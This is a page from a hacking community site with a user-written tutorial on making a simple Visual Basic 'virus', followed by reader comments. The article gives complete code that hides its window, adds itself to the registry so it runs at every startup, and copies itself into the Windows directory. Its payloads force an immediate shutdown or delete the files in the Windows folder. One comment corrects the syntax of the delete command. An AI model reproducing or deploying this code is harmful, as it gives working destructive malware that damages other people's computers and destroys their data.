Follow us on Twitter!
The measure of a mans life is not how well he dies, but how well he lives.
Wednesday, April 23, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 23
Guests Online: 17
Members Online: 6

Registered Members: 82885
Newest Member: ConiBE
Latest Articles

Visual Basic virus

Arrow Image how to make a simple visual basic virus.



1:
you want the virus program to write in the windows regestery (regedit) so that it starts up every time you start up the computer.
to make it easy for you insert this at the top of your source:

Private Sub Form_Load()
App.TaskVisible = False
Set WScriptShell = CreateObject(\"WScript.Shell\")
Set FileSystemObject = CreateObject(\"scripting.filesystemobject\")
Dim Reg As Object
Set Reg = CreateObject(\"wscript.shell\")

you use this command to write to regedit:

Reg.RegWrite \"here you place the register address\" + \"the name of the key\", \"the value of the key\"

eks:
Reg.RegWrite \"HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICES\\\" + \"virus startup\", \"c:\\windows\\virus.exe\"

and you can run this command several times and write to more places in the regestery. this makes your virus harder to remove.

2:
now you want the virus to copy it self to some place in the windows dir. (makes it harder to find and you cant depend on the first .exe file that enterd the computer.)

here you want to put a \"IF\" statment to check if the file exists in the dir you want to copy the virus to. if the file exists, this just means that the virus is already in this dir. here is the command:

If Not (FileSystemObject.fileexists(\"c:\\windows\\virus.exe\")) Then
FileCopy App.Path + \"\\\" + App.EXEName + \".exe\", \"C:\\windows\\virus.exe\"
End If

3:
now you have a virus that copys itselfe in to the computer and writes to regedit.

now you want to input the command that does the damage, here you can put all sorts of stuff.

eks 1:
Shell \"shutdown -s -f -t 0\"

this shuts the computer down when the computer has booted windows.

eks 2:
kill \"c:/windows/*.*\"

this command deletes all the files in the windows dir.

4:
here is the complite code:

Private Sub Form_Load()
App.TaskVisible = False
Set WScriptShell = CreateObject(\"WScript.Shell\")
Set FileSystemObject = CreateObject(\"scripting.filesystemobject\")
Dim Reg As Object
Set Reg = CreateObject(\"wscript.shell\")
Reg.RegWrite \"HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICES\\\" + \"virus startup\", \"c:\\windows\\virus.exe\"
If Not (FileSystemObject.fileexists(\"c:\\windows\\virus.exe\")) Then
FileCopy App.Path + \"\\\" + App.EXEName + \".exe\", \"C:\\windows\\virus.exe\"
End If
Shell \"shutdown -s -f -t 0\"
End Sub

and yes, hehe my english is not the best as you can se=)

Comments

The_Infernoon May 12 2005 - 00:02:35
Don't use + to add to a string, use &. Its not kill "C:/windows/*.*" its kill "C:\windows\*.*" And it needs proper error handling. Other then that pretty good. PfftB)Grin
thousandtooneon May 12 2005 - 02:46:41
Hm. Wel considering a lot of that, most of it, is VBS and Shell, you really aren't using VB.
costomon May 12 2005 - 17:18:54
i havent tested the code. i know it is crap, i wrote the article i like 2 min, and it is written in VB. it is just to make people se how easy it is to write an compile a virus. B)http://www.hellboundhackers.org/fusion_images/smiley/cool.gif
Zietlebenon July 21 2005 - 21:11:25
i liked it excwellent job im glad that learning vb was a complete waste of time SmileSmileSmileSmileSmileSmileSmile
Tontoon July 21 2005 - 23:14:29
Well, seeing as this doesn't infect anything, is freestanding, and just shuts down, this can not be classified as - malware - virus - worm So I'll say it's stupid. Sorry
costomon August 07 2005 - 17:49:10
hey how! if u take a good look at the code and the article u will se that it is extremely basic and no one would think to use this code. it is just to show how easy it could be written.
Zietlebenon August 14 2005 - 08:11:25
i liked it back of tonto wanna be a black hat then go be it but i liked it gave general broad range of a couple commands combine knowledge from this and all the other vb articles knowledge and that virus would be sweet. Oh and on a final note .. Your mom goes to college.lol
PlagueZon December 11 2006 - 17:47:39
Does nothing amazing, just destructive code. 0.5 out of 10.
costomon October 20 2007 - 14:45:39
"PlagueZ on December 11 2006 - 17:47:39 Does nothing amazing, just destructive code. 0.5 out of 10." if it was an amazing code it woldent say: Visual Basic virus how to make a simple visual basic virus. ..
Post Comment

Sorry.

You must have completed the challenge Basic 1 and have 100 points or more, to be able to post.